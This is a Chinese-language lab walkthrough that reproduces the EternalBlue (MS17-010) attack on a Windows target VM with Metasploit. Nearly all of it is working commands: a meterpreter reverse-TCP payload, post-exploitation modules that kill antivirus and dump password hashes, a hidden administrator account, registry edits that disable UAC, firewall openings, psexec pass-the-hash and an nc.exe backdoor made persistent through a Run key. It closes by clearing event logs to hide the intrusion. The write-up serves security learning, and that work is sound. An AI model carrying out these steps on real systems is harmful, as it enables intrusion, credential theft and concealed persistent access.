攻击载荷是我们期望在目标系统在被渗透攻击之后完成的实际攻击功能的代码，成功渗透目标后，用于在目标系统上运行任意命令。

show payloads

该命令可以查看当下漏洞利用模块下可用的所有Payload

set payload windows/x64/meterpreter/reverse_tcp

show options

set rhosts 192.168.203.134(如果有多个攻击目标ip间直接用空格隔开就行)

set LHOST 192.168.203.130

exploit(run)

攻击成功，显示下图： 在这里可以进行文件上传下载，获取截屏，获取密码，使用摄像头拍照，后门持久化等操作。

运行了exploit命令之后，我们开启了一个reverse TCP监听器来监听本地的 4444 端口，即攻击者的本地主机地址（LHOST）和端口号（LPORT）。

sysinfo

ipconfig

getuid

用户身份为： NT AUTHORITY\SYSTEM，这个也就是Windows的系统权限

shell

exit

screenshot

下面的模块主要用于在取得目标主机系统远程控制权后，进行一系列的后渗透攻击动作。

run post/windows/manage/migrate                  #自动进程迁移     
run post/windows/gather/checkvm                  #查看目标主机是否运行在虚拟机上     
run post/windows/manage/killav                   #关闭杀毒软件     
run post/windows/manage/enable_rdp               #开启远程桌面服务     
run post/windows/manage/autoroute                #查看路由信息     
run post/windows/gather/enum_logged_on_users     #列举当前登录的用户     
run post/windows/gather/enum_applications        #列举应用程序     
run windows/gather/credentials/windows_autologin #抓取自动登录的用户名和密码     
run windows/gather/smart_hashdump                #dump出所有用户的hash

示例：

run windows/gather/smart_hashdump或者hashdump

在网上搜索MD5破解即可查到相关破解网站：

net user hack 123 /add

net localgroup administrators hack /add

net user

net localgroup administrators

可以看到hack已经被添加到windows管理员组中。

运用getuid脚本开启目标主机远程桌面：

run getgui -e或者run post/windows/manage/enable_rdp

在kali终端输入

rdesktop 192.168.203.134#靶机ip地址

即可打开远程桌面

hashdump

创建一条防火墙规则允许4444端口访问网络，方便后期操作

shell

netsh firewall add portopening TCP 4444 "hack" ENABLE ALL

新建一个防火墙规则，允许443端口访问网络

netsh firewall add portopening TCP 443 "hack" ENABLE ALL

其原理就是通知用户是否对应用程序使用硬盘驱动器和系统文件授权，以达到帮助阻止恶意程序损坏系统的效果。

cmd.exe /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f

ADD 添加一个注册表项
-v 创建键值
-t 键值类型
-d 键值的值
-f 强制修改注册表项

开启系统主机的默认共享，默认共享对于主机文件共享非常方便，也方便黑客利用这个功能，远程执行命令。

cmd.exe /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f

exit返回meterpreter，输入background将永恒之蓝拿到的会话保持到后台。

use exploit/windows/smb/psexec

show options

设置靶机ip：set rhosts 192.168.203.134
设置靶机账户名：set smbuser hack
设置靶机密码：set smbpass （hack账户密码hash值）
设置靶机工作组：set smbdomain WORKGROUP
运行：run

为了让连接持久话，我们可以上传后门程序，这样就能保持会话长久建立。在kali 里面如下路径有我们的后门程序nc 俗称瑞士军刀。我们可以将它上传到目标机c盘里面 上传nc到c盘windows文件夹中，如果想更隐蔽一点，可以在往文件夹里面上传 打开靶机window文件夹可以看到成功上传文件。

当目标机开机，程序后台运行，且监听端口为443，这个端口就是之前在shell中创建的新防火墙规则：允许443端口访问网络。

reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v lltest_nc -d 'C:\windows\nc.exe -Ldp 443 -e cmd.exe'

reboot

在kali终端就可以直接使用

nc -v 192.168.203.134 443

连接了。 这样就可以直接通过nc监听靶机。 至此，永恒之蓝的攻击复现就完成了，后续其他的进一步攻击可以向上传nc一样上传病毒。

由于攻击过程中的所有操作都会被记录在目标系统的日志文件之中，因此需要在完成攻击之后使用

clearev  

命令来清除事件日志：

https://blog.csdn.net/qq_44159028/article/details/104044002
https://cxymm.net/article/dreamthe/121375464#%C2%A03.%E6%B0%B8%E6%81%92%E4%B9%8B%E8%93%9D%E5%88%A9%E7%94%A8%E4%B9%8B%E8%BF%9C%E7%A8%8B%E6%A1%8C%E9%9D%A2%E7%99%BB%E5%BD%95%E3%80%82

在复现时曾经使用过Windows8和Windows10来作为靶机，但是在使用ms17-010攻击模块

use exploit/windows/smb/ms17_010_eternalblue

时，却出现这样的错误提示： Windows8

Started reverse TCP handler on 192.168.203.130:4444 
192.168.203.132:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
192.168.203.132:445   - Host is likely VULNERABLE to MS17-010! - Windows 8 9200 x64 (64-bit)
192.168.203.132:445   - Errno::ECONNRESET: Connection reset by peer
192.168.203.132:445   - Scanned 1 of 1 hosts (100% complete)
192.168.203.132:445 - The target is vulnerable.
192.168.203.132:445 - shellcode size: 1283
192.168.203.132:445 - numGroomConn: 12
192.168.203.132:445 - Target OS: Windows 8 9200
192.168.203.132:445 - CommunicationError encountered. Have you set SMBUser/SMBPass?
192.168.203.132:445 - Exploit failed with the following error: Read timeout expired when reading from the Socket (timeout=30)
Exploit completed, but no session was created.

Windows10

搜索半天没弄明白，以后有机会再研究。